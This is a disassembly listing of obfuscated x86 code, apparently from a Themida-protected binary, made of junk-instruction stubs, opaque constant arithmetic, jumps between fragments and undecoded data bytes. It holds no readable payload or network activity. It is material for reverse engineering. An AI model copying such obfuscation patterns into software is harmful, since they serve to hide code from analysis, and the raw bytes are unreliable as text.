		pop	esp
		pop	dword ptr [esp]
		jmp	loc_5053B4
; ---------------------------------------------------------------------------
aMqsco		db 'Q问',0
		dd 51E58900h, 0A9B5E9h,	0BD00h,	0FD290000h, 815DEF89h
		dd 0FD1946E7h, 0F7C78118h, 109711Dh, 0B6E95FFEh, 2900006Dh
		dd 60ECE9F2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4FF17E:				; CODE XREF: Themida_:005076C6j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_501221
; ---------------------------------------------------------------------------
		dw 540h
		dd 0C554EF3Dh, 4E4FEE81h, 0C62902ABh, 4E4FC681h, 5D5802ABh
		dd 80E9F031h, 81000042h, 636762EBh, 2198E91Eh, 87590000h
		dd 9BE92434h, 0FF000093h, 57592434h, 9B48E9h, 0ABE95000h
		db 86h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_4FF1DB:				; CODE XREF: Themida_:0050ABF3j
		mov	ebx, 1EED48C2h
		not	ebx
		xor	ebx, 96178587h
		xor	edx, ebx
		mov	ebx, [esp]
		jmp	loc_50746F
; ---------------------------------------------------------------------------
		dw 8159h
		dd 4C1h, 4EC8300h, 0E9241489h, 42Ah, 0F605E6C0h, 3950E9D6h
		dd 555B0000h, 2BDh, 8BEE0100h, 8950242Ch, 66EDE9E0h, 0C4810000h
		dd 4, 17E9C209h, 8100004Ch, 4C3h, 4C38300h, 0E9241C33h
		dd 2ED4h, 547D90BEh, 2444810Eh,	1D5D4704h, 2474294Dh, 246C8104h
		dd 1D5D4704h, 24348B4Dh, 4C481h, 48B0000h, 0E7895724h
		dd 5D48E9h, 0FCBA5200h,	1631D37h, 875D5AD6h, 2BE92434h
		dd 5E0000BEh, 3540E0D1h, 85E79353h, 48BC301h, 0E7895724h
		dd 4C781h, 0C7830000h, 4D2DE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4FF29E:				; CODE XREF: Themida_:00509EEBj
		push	ebp
		jmp	loc_507149
; ---------------------------------------------------------------------------
		dd 0A368A9BAh, 5EAC176h, 6771E9h, 24248900h, 303E952h
		dd 0EA830000h, 24148704h, 8924248Bh, 8B542414h,	0C4832414h
		dd 0BE565304h, 4, 15EF389h, 0C2835BDAh,	24143304h, 483CE9h
		dd 7935BB00h, 0D98945AFh, 2447C75Bh, 45AF7935h,	2049E9h
		dd 0E95D2400h, 66DBh, 8A67E959h, 57530000h, 0E6E9h, 2434FF00h
		dd 0A022E9h
		db 0
; ---------------------------------------------------------------------------


loc_4FF315:				; CODE XREF: Themida_:00507FC0j
		neg	ebx
		jmp	loc_50909C
; ---------------------------------------------------------------------------
		dd 24048B66h, 4EC81h, 14890000h, 51E28924h, 4B9h, 59CA0100h
		dd 63BB5357h, 0E9333474h, 4812h, 0A01BBh, 0E9DF8954h, 98E1h
		dd 5C241C87h, 2A4268h, 242C8900h, 5CC06852h, 2C890000h
		dd 0BCFBD24h, 0BA5229EBh, 10CF0EFAh, 5606EAC1h,	9C124ABEh
		dd 0E7C6813Fh, 81649313h, 0AA020CC6h, 0FDF1E956h, 0C481FFFFh
		dd 4, 3C8B5457h, 4C48124h, 0E9000000h, 0
		dd 4BD5551h, 55000000h,	0BA6AE9h, 52BA5200h, 293A0025h
		dd 0E95B5AD7h, 8D30h, 66D830ACh, 0E92B2D68h, 0AE35h
; ---------------------------------------------------------------------------


loc_4FF3C4:				; CODE XREF: Themida_:00509150j
		mov	[esp], ebp
		mov	ebp, 67A51781h
		shr	ebp, 6
		push	ecx
		push	ebx
		mov	ebx, 0FE616BB2h
		mov	ecx, ebx
		pop	ebx
		add	ebp, 38BD00C7h
		add	ebp, ecx
		sub	ebp, 38BD00C7h
		pop	ecx
		push	ebp
		jmp	loc_5062A2
; ---------------------------------------------------------------------------
		dw 0CEE9h
		dd 0BFFFFFFCh, 4, 15FFB89h, 9B50E9DAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4FF402:				; CODE XREF: Themida_:005069E8j
		mov	ecx, 53377E07h
		push	esi
		mov	esi, 72912DFDh
		jmp	loc_5013AF
; ---------------------------------------------------------------------------
		dw 0B551h
		dd 3E58064h, 0C580C5FEh, 0D3C58057h, 0C8BE888h,	6623E924h
		dd 0EB810000h, 11A46BECh, 0B1E0E9h, 243C3300h, 1086E9h
		dd 240C8700h, 5949E9h, 412D5900h, 12AF245h, 1D03E9F8h
		dd 0D6010000h, 0BB58E9h, 0E1895100h, 0B904E9h, 2434FF00h
		dd 0E0895058h, 405h, 40500h, 4870000h, 0EB685C24h, 8900005Eh
		dd 0B1E92404h, 5000009Ah, 0BD55E089h, 35AE3C73h, 0F704EDC1h
		dd 3A00E9D5h, 0E2C00000h, 1EA8007h, 28DBB551h, 0C23059EAh
		dd 0E7686658h, 14896650h, 2404FE24h, 0E2C05A66h, 96B05003h
		dd 282DC280h, 2DEA80C2h, 0E9D03058h, 2646h
; ---------------------------------------------------------------------------


loc_4FF4C8:				; CODE XREF: Themida_:004FFACEj
		sub	ebx, 277C0DA8h
		mov	ecx, [ebx]
		push	dword ptr [esp]
		jmp	loc_50959B
; ---------------------------------------------------------------------------
		dd 0DBF6D3F6h, 68h, 241C2800h, 83241C8Ah, 0FDE904C4h, 89000066h
		dd 1CCCE9DFh, 0E9570000h, 26AAh, 0E93C77FFh, 243Bh, 0FE99CA80h
		dd 35B1E9CAh, 0EE810000h, 1, 2263B951h,	0BD55B5B2h, 2FED18FBh
		dd 295DEE29h, 0FBC681CEh, 592FED18h, 24348156h,	69F40F14h
		dd 0F143558h, 0E95E69F4h, 470Eh, 8324248Bh, 48904ECh, 1256B824h
		dd 0C2813A4Ch, 4BD3703Eh, 4752EA81h, 0C6E90E3Eh, 0BA000079h
		dd 709A1BC7h, 68D9E9h, 240C8700h, 8124248Bh, 4C3h, 0F2E6800h
		dd 34890000h, 4BE24h, 42E90000h
		db 0B1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_4FF587:				; CODE XREF: Themida_:005011E3j
		add	esp, 4
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	esi
		jmp	loc_509853
; ---------------------------------------------------------------------------
aBqOWxlUsxq	db 'OWX<$Uq',0
		dw 5400h
		dd 0BB01E9h, 66566600h,	22474FFh, 1B72E9h, 4BA00h, 54010000h
		dd 0E95A0424h, 0B8A6h, 3613E950h, 81460000h, 0F0F12C6h
		dd 51E9462Ah, 5300003Dh, 4DC9E9h, 3C875E00h, 359AE924h
		dd 68580000h, 7695h, 0FF241489h, 5A042474h, 5C24048Fh
		dd 59DDB850h, 0EB817638h, 6BA815CAh, 0E952C301h, 1107h
; ---------------------------------------------------------------------------


loc_4FF614:				; CODE XREF: Themida_:00507592j
		push	57D8h
		mov	[esp], edx
		push	ebx
		push	33ED1208h
		pop	ebx
		sub	ebx, 30970B97h
		jmp	loc_502361
; ---------------------------------------------------------------------------
		dw 2668h
		dd 5A44A20Eh, 6E72EA81h, 0CA815EB1h, 522B4896h,	2F64E9h
		db 0
; ---------------------------------------------------------------------------


loc_4FF645:				; CODE XREF: Themida_:00507B85j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], ebx
		push	ecx
		push	ebx
		push	ecx
		mov	cl, dl
		mov	bl, cl
		pop	ecx
		mov	cl, bl
		pop	ebx
		mov	bh, cl
		jmp	loc_5007C4
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 28770C86h, 295EF001h, 0B85058C3h, 9D3408Ch, 158C329h
		dd 2434FFDEh, 4C4835Bh,	3302C683h, 34312434h, 24343324h
		dd 120DE95Ch, 0E9530000h, 0FFFFFA79h, 815EF301h, 4EBh
		dd 8E9BE900h, 34FF0000h, 24048B24h, 4C481h, 23680000h
		dd 8900003Bh, 5B54241Ch, 7F67BF57h, 0C7812B00h,	0D4FF809Dh
		dd 815FFB01h, 4C3h, 74FF5300h, 34FF0424h, 2434FF24h, 4C4815Bh
		dd 81000000h, 4C4h, 24048F00h, 2404015Ch, 87A6E99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4FF702:				; CODE XREF: Themida_:00500F9Fj
		pop	ecx
		push	0BA3h
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		jmp	loc_4FF724
; ---------------------------------------------------------------------------
		dw 0E94Bh
		dd 3CFAh
; ---------------------------------------------------------------------------


loc_4FF724:				; CODE XREF: Themida_:004FF719j
		add	esi, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_50B292
; ---------------------------------------------------------------------------
		dw 483h
		dd 56580424h, 49DEE9h, 0EEA8100h, 0C17F082Dh, 0F28107E2h
		dd 7BA115F1h, 0E95AD101h, 8509h
; ---------------------------------------------------------------------------


loc_4FF760:				; CODE XREF: Themida_:00509F78j
		pop	esp
		pop	dword ptr [esp]
		push	ecx
		push	52A5h
		mov	[esp], eax
		jmp	loc_50686E
; ---------------------------------------------------------------------------
		dw 8951h
		dd 4C181E1h, 52000000h,	0B23CE9h, 0E7685900h, 89000025h
		dd 0FF542414h, 42E92434h, 0C1000061h, 814B04E3h, 0F67F63F3h
		dd 4D2CE9FFh, 0D3F60000h, 0C380CBFEh, 5BDD2833h, 0E959EB00h
		dd 1C16h, 405E089h, 83000000h, 48704E8h, 266BE924h, 34890000h
		dd 5110E924h, 0E95E0000h, 2C71h
; ---------------------------------------------------------------------------


loc_4FF7D4:				; CODE XREF: Themida_:0050A829j
		mov	[esp], eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		push	ebp
		mov	ebp, 26901C0Bh
		add	ebp, 4AF44F75h
		neg	ebp
		shr	ebp, 1
		sub	ebp, 473DCA3Ch
		jmp	loc_506A54
; ---------------------------------------------------------------------------


loc_4FF7FA:				; CODE XREF: Themida_:00506940j
		pop	esi
		add	ebp, esi
		jmp	loc_50AEE9
; ---------------------------------------------------------------------------
		dw 0DA01h
		dd offset dword_4FA1E4+5
		db 0
; ---------------------------------------------------------------------------


loc_4FF809:				; CODE XREF: Themida_:00504723j
		add	dword ptr [esp], 330A2739h
		mov	eax, [esp]
		add	esp, 4
		push	esi
		jmp	loc_507AAD
; ---------------------------------------------------------------------------
		dd 0CD3DFAB8h, 13F8357Fh, 0C7893F8Ch, 0C7814758h, 4B542C5Fh
		dd 0E947DFF7h, 0B9CBh, 0F488EE88h, 0E688525Ah, 6110E9h
		db 0
; ---------------------------------------------------------------------------


loc_4FF845:				; CODE XREF: Themida_:00506B75j
		add	esi, 4
		jmp	loc_507C76
; ---------------------------------------------------------------------------
		db 5Eh,	81h, 0EEh
		dd 7C06491Ch, 6026E9h, 0E93A2C00h, 93E3h
; ---------------------------------------------------------------------------


loc_4FF860:				; CODE XREF: Themida_:004FFA50j
		inc	ecx
		shr	ecx, 5
		and	ecx, 71773192h
		shr	ecx, 1
		sub	ecx, 0AB10BCh
		add	ebx, ecx
		jmp	loc_509199
; ---------------------------------------------------------------------------
aBZSSrg		db '!',0Bh,'Z',7,'',0
		db 0
; ---------------------------------------------------------------------------


loc_4FF887:				; CODE XREF: Themida_:00502FDAj
		pop	esp
		jmp	loc_5020C3
; ---------------------------------------------------------------------------
		db 29h,	0F8h, 0E9h
		dd 6FE4h, 9105D801h, 2D31A814h,	45994B7Fh, 81241C8Bh, 4C4h
		dd 7EB8100h, 81653315h,	4728A4C3h, 0A2C3813Fh, 2948CD51h
		dd 302FE9C3h, 0D8010000h, 94E3E951h, 0AD660000h, 66D83166h
		dd 66534068h, 56242C89h, 23F2E9h
		db 0
; ---------------------------------------------------------------------------


loc_4FF8DD:				; CODE XREF: Themida_:00501F09j
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_50749A
; ---------------------------------------------------------------------------


loc_4FF8EA:				; CODE XREF: Themida_:00501657j
		push	ecx
		mov	ecx, 726F3240h
		mov	edx, ecx
		pop	ecx
		jmp	loc_5085F7
; ---------------------------------------------------------------------------
		dd 0FEFCC580h, 3A40E9C5h, 0EF810000h, 8A6C9063h, 3644E9h
		dd 0EAED8100h, 81189267h, 0B932A5C6h, 3723E923h, 0C4830000h
		dd 74FF5004h, 8F580424h, 248B2404h, 240CFF24h, 0B654E99Ch
		dd 478F0000h, 0F783E940h, 895CFFFFh, 42E9241Ch,	3300002Fh
		dd 0E1E92414h, 5E000035h, 9E2BE9h, 54836800h, 3C8B29E8h
		dd 4C48324h, 56E7E781h,	681DCAh, 29000000h, 535F243Ch
		dd 0C0091EBBh, 8EBC151h, 5C3FE9h
		db 0
; ---------------------------------------------------------------------------


loc_4FF97D:				; CODE XREF: Themida_:005073D0j
		xor	esi, eax
		pop	eax
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 48F102A5h
		xor	ecx, 328B6700h
		or	ecx, 26904438h
		sub	ecx, 0FFFFFFFFh
		sub	ecx, 7EFA65BAh
		sub	ebp, 6C61730Fh
		add	ebp, ecx
		add	ebp, 6C61730Fh
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		sub	[esp], eax
		pushf
		jmp	loc_5051FE
; ---------------------------------------------------------------------------
		dw 0D731h
		dd 8124148Bh, 4C4h, 88F4E900h, 0D8000000h, 8957D72Ch, 4C781E7h
		dd 81000000h, 4EFh, 5190E900h, 0F0010000h, 2BE565Eh, 1000000h
		dd 4335EF0h, 24043124h,	0E9240433h, 1CF0h, 240C8B66h, 68E78957h
		dd 6A2Ah, 0E9240489h, 2744h, 9427F581h,	0C3E9BF92h
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_4FFA23:				; CODE XREF: Themida_:00501C64j
		push	778Bh
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	63C0h
		mov	[esp], ecx
		mov	ecx, 4
		sub	ebx, 6EB634Ch
		add	ebx, ecx
		add	ebx, 6EB634Ch
		pop	ecx
		push	ecx
		mov	ecx, 7AC57591h
		inc	ecx
		jmp	loc_4FF860
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 81h
		dd 4C5h, 2C58300h, 6073E9h, 24048100h, 5290220Ch, 0CEA815Ah
		dd 0E9529022h, 0A429h
; ---------------------------------------------------------------------------


loc_4FFA78:				; CODE XREF: Themida_:00503CFAj
		not	ebp
		push	edi
		jmp	loc_504F67
; ---------------------------------------------------------------------------


loc_4FFA80:				; CODE XREF: Themida_:00507D68j
		and	esi, 0EE16661h
		push	ebx
		push	edx
		jmp	loc_50220C
; ---------------------------------------------------------------------------
		db 48h,	35h, 3Ch
		dd 191D144h, 176858C2h,	89000047h, 55E92414h, 66000007h
		dd 6824048Bh, 29E1h, 89243489h,	4BF57E6h, 81000000h, 953A51C6h
		dd 0A1F6E92Bh, 8B660000h, 0E951240Ch, 290Ah
; ---------------------------------------------------------------------------


loc_4FFACC:				; CODE XREF: Themida_:005003A2j
		add	ebx, edi
		jmp	loc_4FF4C8
; ---------------------------------------------------------------------------
aIMH@		db '<$*{h@',0
		align 10h
		dd 0BB241C89h, 204B55E9h, 8B21E9h, 2B900h, 0EA810000h
		dd 4AB7065h, 5526E9h, 4BE00h, 0C7810000h, 653B51C6h, 0EF81F701h
		dd 653B51C6h, 0EC83515Eh, 243C8904h, 48E9h, 2434FF00h
		dd 7371E95Fh, 0DD870000h, 0B31CE9h
		db 0
; ---------------------------------------------------------------------------


loc_4FFB2D:				; CODE XREF: Themida_:00501D03j
		mov	[esp], cx
		jmp	loc_50A441
; ---------------------------------------------------------------------------
aQSzv		db 'Qz',0
		align 2
aQ		db 'Q',0
aSas		db 's',0
		align 2
		dw 0E389h
		dd 4C381h, 0C3810000h, 4, 5C241C87h, 76E068h, 240C8900h
		dd 4F9FE9h, 452EBF00h, 6CE925D2h, 8B000017h, 0C481243Ch
		dd 4, 2BD55h, 0EB810000h, 49081020h, 859C381h, 0EB015BCFh
		dd 859EB81h, 0C3815BCFh, 49081020h, 241C875Dh, 409665Ch
		dd 93E99C24h, 8100009Bh, 21A44F7h, 1B32E963h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4FFBB2:				; CODE XREF: Themida_:00507FD7j
		pop	esp
		mov	[esp], eax
		mov	eax, 1Ch
		push	ebp
		push	esi
		jmp	loc_506831
; ---------------------------------------------------------------------------


loc_4FFBC2:				; CODE XREF: Themida_:00506820j
		pop	ebp
		or	eax, eax
		jnz	loc_5023AD
		push	1
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_50A819
; ---------------------------------------------------------------------------


loc_4FFBE5:				; CODE XREF: Themida_:00506A56j
		pop	ebp
		jmp	loc_5023A3
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0F5B85000h, 0F7796572h, 5E8C1D8h, 23748805h, 0BE8F0552h
		dd 0C601F6A9h, 24148B58h, 4C481h, 47680000h, 89000036h
		dd 0FDBD242Ch, 29556E30h, 242C8BEEh, 2104C483h,	388CE9F0h
		dd 51590000h, 9FE95954h
		db 3Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_4FFC37:				; CODE XREF: Themida_:00509FBBj
		mov	ebp, esi
		mov	edi, ebp
		push	dword ptr [esp]
		jmp	loc_508AD7
; ---------------------------------------------------------------------------
aSv		db '(v#',0
		align 2
		dw 8B66h
		dd 7E68240Ch, 89000007h, 0E0892404h, 405h, 2B95100h, 5000000h
		dd 58E93D63h, 8C4EB305h, 2DC8011Eh, 1E8C4EB3h, 1895E9h
		db 0
; ---------------------------------------------------------------------------


loc_4FFC79:				; CODE XREF: Themida_:0050175Fj
		add	edi, 7FEB7A39h
		add	ebp, edi
		pop	edi
		add	ebp, 4
		xor	ebp, [esp]
		jmp	loc_5063AB
; ---------------------------------------------------------------------------
		db 81h,	0E5h, 99h
		dd 81272640h, 0F55002F5h, 5DEB0162h, 0B8FE9h
		db 0
; ---------------------------------------------------------------------------


loc_4FFCA1:				; CODE XREF: Themida_:0050989Aj
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_505CE9
; ---------------------------------------------------------------------------
		dd 875DE829h, 248B2404h, 243C8924h, 0A09BB53h, 5C316E7Ah
		dd 0E95B0424h, 8189h, 6624248Bh, 8124048Bh, 4ECh, 7AF6E900h
		dd 0E9590000h, 0B2Dh, 810F581h,	0EF011220h, 4EF835Dh, 5C243C87h
		dd 0E9240C89h, 7866h, 0DB68665Bh, 14896658h, 858DE924h
		dd 81510000h, 4ECh, 24048900h, 55DE68h,	24148900h, 3338DABAh
		dd 24448160h, 0D87EFB04h, 246C814Eh, 1B5C8304h,	24542915h
		dd 24448104h, 1B5C8304h, 246C8115h, 0D87EFB04h,	34FF5A4Eh
		dd 89575924h, 46FEE9E7h, 48B0000h, 0B0FFE924h, 0F7810000h
		dd 26B13D7Bh, 4A5FFA21h, 2D33EA81h, 54010864h, 535A0424h
		dd 0D7E9E389h
		db 74h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_4FFD73:				; CODE XREF: Themida_:0050A47Fj
		mov	[esp], ebx
		jmp	loc_506105
; ---------------------------------------------------------------------------
		db 89h
		dd 51BB241Ch, 0F77E4453h, 2DEB81DBh, 813D1D6Ah,	61BD82C3h
		dd 75EA81BBh, 146EE2Fh,	75C281DAh, 5B46EE2Fh, 26B9E957h
		dd 89510000h, 17E950E1h
		db 3Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_4FFDAF:				; CODE XREF: Themida_:0050AED8j
		sub	edx, edi
		pop	edi
		xor	edx, 44F9C54Fh
		xor	eax, edx
		pop	edx
		and	ecx, eax
		pop	eax
		shr	ecx, 7
		jmp	loc_5080F5
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 4BA52h, 9FE90000h, 81000089h, 0D01770E9h, 31E1816Fh
		dd 0C159EE2Ah, 0E98106E9h, 333CD471h, 56E9CF01h, 8BFFFFF6h
		dd 0C481241Ch, 4, 148BD601h, 4C48124h, 81000000h, 466CA0C7h
		dd 0E9F70156h, 6231h, 468h, 0F0015E00h,	2BA525Eh, 1000000h
		dd 0FF505AD0h, 8B042474h, 0C4812404h, 4, 8B24048Fh, 70E92424h
		dd 890000AEh, 8B542414h, 0E6E92414h, 29000016h,	0E8315FFDh
		dd 8B2434FFh, 8956242Ch, 4C681E6h, 83000000h, 348704C6h
		dd 0C4815C24h, 4, 1CF668h, 243C8900h, 814600BFh, 4EFC11Dh
		dd 0DF6B850h, 0C7097DF3h, 0FFEF8358h, 0A223E950h, 49680000h
		dd 89000019h, 1BB241Ch,	81000000h, 0C076EEEAh, 0E9DA2906h
		dd 88B2h, 7883C781h, 0A7E953F9h, 81FFFFFEh, 0F32A3FEBh
		dd 81CB0159h, 0F32A3FC3h, 65EB8159h, 0E9591F48h, 951Fh
		dd 28C4EE80h, 6BE95AF0h, 100008Ch, 5E042474h, 153DE9h
		dd 32FF6400h, 1311E9h, 746B6800h, 3C890000h, 93B85024h
		dd 0E9646064h, 9EE2h, 2093F181h, 8A2D4704h, 2944B836h
		dd 368A05C8h, 0C8B44B8h, 4C48324h, 48BC101h, 72ECE924h
		dd 0EC830000h, 0A294E904h, 0C9FE0000h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_507240
; ---------------------------------------------------------------------------


loc_4FFF3C:				; CODE XREF: Themida_:00502617j
		add	esp, 4
		jmp	loc_504C10
; ---------------------------------------------------------------------------
		db 66h
		dd 5724048Bh, 460EE9h
		db 0
; ---------------------------------------------------------------------------


loc_4FFF51:				; CODE XREF: Themida_:005021D8j
		mov	esp, [esp]
		push	3CA1h
		mov	[esp], ebx
		mov	ebx, 1
		jmp	loc_504171
; ---------------------------------------------------------------------------
		dw 0EB80h
		dd 0E9D80814h, 6525h
; ---------------------------------------------------------------------------


loc_4FFF70:				; CODE XREF: Themida_:00507577j
		sub	esp, 4
		mov	[esp], ebp
		push	1EF9h
		mov	[esp], ecx
		jmp	loc_507E3D
; ---------------------------------------------------------------------------
		db 5Fh
		dd 405h, 24043300h, 33240431h, 0E95C2404h, 25DFh
; ---------------------------------------------------------------------------


loc_4FFF98:				; CODE XREF: Themida_:0050AEF3j
		pop	esp
		push	45BDh
		jmp	loc_50033C
; ---------------------------------------------------------------------------
		db 81h
		dd 0D03A0CEBh, 0E930FF5Eh, 0FFFFF111h, 0F3E9D709h, 66000071h
		dd 28872C5Ah, 2C8704D0h, 0A6A9E98Ah, 0F3810000h, 9F5D96C2h
		dd 575BDF29h, 11AABD55h, 0E5816EE9h, 7011B0Eh, 0FD60C581h
		dd 93E973DEh, 8900004Dh, 1CB951E5h, 41383806h, 619F181h
		dd 0CD013838h, 3A75E9h,	0C0B60F00h, 1607E9h, 50F28100h
		dd 894A002Fh, 0E9015AD5h, 8B2434FFh, 0C483242Ch, 900DE904h
		dd 0C3800000h, 28596628h, 0B55150C3h, 19B652EAh, 54CCE9h
		dd 2CED8100h, 8117D204h, 4D6734EAh, 81EA016Dh, 4D6734C2h
		dd 242C8B6Dh, 3304C483h, 14312414h, 24143324h, 6624248Bh
		db 8Bh,	14h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_501730
; ---------------------------------------------------------------------------
		dw 0B2BDh
		dd 10121B5h, 739FE9EFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50007E:				; CODE XREF: Themida_:005015ACj
		add	edi, 71685134h
		sub	edi, 56467085h
		xor	edi, 184E699Bh
		push	esi
		push	edi
		mov	edi, 49B17428h
		mov	esi, edi
		pop	edi
		jmp	loc_502AC7
; ---------------------------------------------------------------------------
aYpirsg0	db 'YP0',0
		align 4
		dd 4BE56h, 0F1010000h, 4BF575Eh, 29000000h, 2434FFF9h
		dd 81243C8Bh, 4C4h, 7BE95300h, 83FFFFFAh, 0DE2904C4h, 0E9241C8Bh
		dd 5CC3h, 8105E2C1h, 4ECh, 1CD6E900h, 0EC830000h, 240C8904h
		dd 175B7FB9h, 8BC82956h, 8956240Ch, 4C681E6h, 81000000h
		dd 4C6h, 24348700h, 5224248Bh, 75A3BF57h, 0FA893A7Ah, 0FFD0315Fh
		dd 0E95A2434h, 336Bh
; ---------------------------------------------------------------------------


loc_500120:				; CODE XREF: Themida_:0050A0A8j
		pop	dword ptr [esp]
		mov	esp, [esp]
		ror	dword ptr [esp], cl
		pushf
		jmp	loc_4FF0C1
; ---------------------------------------------------------------------------
		db 81h
		dd 0DE30A0C2h, 0F60FE96Ch, 0C89FFFFh, 906DE924h, 0F75F0000h
		dd 0C18149D9h, 311D7A4Eh, 0E3FC005h, 2DC8014Dh,	4D0E3FC0h
		dd 0DEBB5359h, 81190B06h, 0A67098EBh, 0F5B4E965h, 0FF68FFFFh
		dd 89000067h, 0E9542414h, 3DEEh, 66575F66h, 66181DBFh
		dd 8166EFD1h, 0E90C4CE7h, 43C6h, 24BEC381h, 0E9501A67h
		dd 7549h, 4C58159h, 83000000h, 2C8904ECh, 8EE5E924h, 0F8010000h
		dd 5F2434FFh, 8304C483h, 348904ECh, 5375E924h, 6C010000h
		dd 5E5D0424h, 439EEE81h, 0E95D0FAFh, 153Fh
; ---------------------------------------------------------------------------


loc_5001D0:				; CODE XREF: Themida_:00504A2Ej
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5026F9
; ---------------------------------------------------------------------------
		dd 32F8F32Dh, 58C101AAh, 41D1E9h, 0CB305A00h, 240C8B66h
		dd 0E902C483h, 7825h, 42474FFh,	5024148Bh, 405E089h, 5000000h
		dd 4, 4FDAE9h
		db 0
; ---------------------------------------------------------------------------


loc_500211:				; CODE XREF: Themida_:00508B03j
		mov	edx, 608D112Bh
		push	ebp
		mov	ebp, 16A916F6h
		and	edx, ebp
		jmp	loc_507623
; ---------------------------------------------------------------------------
		db 56h
		dd 325426BEh, 0F2895262h, 5E5AD389h, 4246C81h, 52746B50h
		dd 4245C29h, 507EE956h,	0FF520000h, 5A042474h, 8276E9h
		db 0
; ---------------------------------------------------------------------------


loc_50024D:				; CODE XREF: Themida_:005077CBj
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_50391F
; ---------------------------------------------------------------------------
		dd 3AE0BE56h, 0C68153B3h, 31C82F77h, 0E18F681h,	0F6815C1Bh
		dd 0D960644Bh, 835EF501h, 2C3304C5h, 1549E924h,	89560000h
		dd 4C681E6h, 0E9000000h, 2040h,	0B9240C89h, 3F576531h
		dd 4EC81h, 4890000h, 1373E924h,	30AC0000h, 3D47E9D8h, 77FF0000h
		dd 59669D1Ch, 2414D366h, 0EDF3E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5002CE:				; CODE XREF: Themida_:00504CD4j
		mov	ebx, 7EAF76FCh
		sub	edi, ebx
		pop	ebx
		push	6725h
		mov	[esp], ebx
		mov	ebx, edi
		mov	edx, ebx
		jmp	loc_502085
; ---------------------------------------------------------------------------
		db 5Dh
		dd 192EB951h, 0DE9135Dh
		db 0A6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5002F3:				; CODE XREF: Themida_:005038E9j
		push	6730h
		mov	[esp], esi
		push	eax
		mov	eax, 2D4A10FBh
		jmp	loc_509AB4
; ---------------------------------------------------------------------------
		dw 7C01h
		dd 0E95F0424h, 35F2h, 8904EC83h, 55B5240Ch, 5204EDC0h
		dd 0F280B8B2h, 5AD5282Bh, 80FFC580h, 0CAE930F5h
		db 44h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50032F:				; CODE XREF: Themida_:00503E6Dj
		shr	cl, 8
		dec	cl
		push	eax
		mov	ah, 21h
		jmp	loc_5075FB
; ---------------------------------------------------------------------------


loc_50033C:				; CODE XREF: Themida_:004FFF9Ej
		mov	[esp], ebp
		mov	ebp, ecx
		jmp	loc_504115
; ---------------------------------------------------------------------------
		dw 0C283h
		dd 24148704h, 4C3815Ch,	50000000h, 0CC1138B8h, 2DD0F70Ah
		dd 5029009Ch, 33482C0Dh, 0D0F7405Ch, 0C411CD35h, 0F0C38102h
		dd 0E94FDD23h, 4EE0h
; ---------------------------------------------------------------------------


loc_500378:				; CODE XREF: Themida_:00506873j
		xchg	ecx, [esp]
		mov	eax, [esp]
		add	esp, 4
		push	esi
		push	eax
		push	6E3916CFh
		pop	eax
		xchg	eax, esi
		jmp	loc_509EBF
; ---------------------------------------------------------------------------


loc_50038F:				; CODE XREF: Themida_:00504DA7j
		mov	edx, 63895F2Dh
		mov	ebx, 9C76A0EFh
		add	ebx, edx
		pop	edx
		add	ebx, 277C0DA8h
		jmp	loc_4FFACC
; ---------------------------------------------------------------------------
		db 83h
		dd 0C8704E9h, 1C895C24h, 2454F624h, 241C8B01h, 5B04E9h
		dd 24043300h, 33240431h, 0E95C2404h, 0FFFFECF5h
; ---------------------------------------------------------------------------


loc_5003CC:				; CODE XREF: Themida_:0050A3A2j
		add	ebx, esi
		jmp	loc_5003FF
; ---------------------------------------------------------------------------
		db 52h
		dd 29E9A9B2h, 0FFFFFFF1h, 53592434h, 8620E9h
		db 0
; ---------------------------------------------------------------------------


loc_5003E5:				; CODE XREF: Themida_:005048B9j
		mov	edi, 11B41E85h
		push	ecx
		mov	ecx, 55584699h
		xor	edi, ecx
		pop	ecx
		mov	esi, edi
		pop	edi
		push	esi
		xchg	ebp, [esp]
		jmp	loc_502FDF
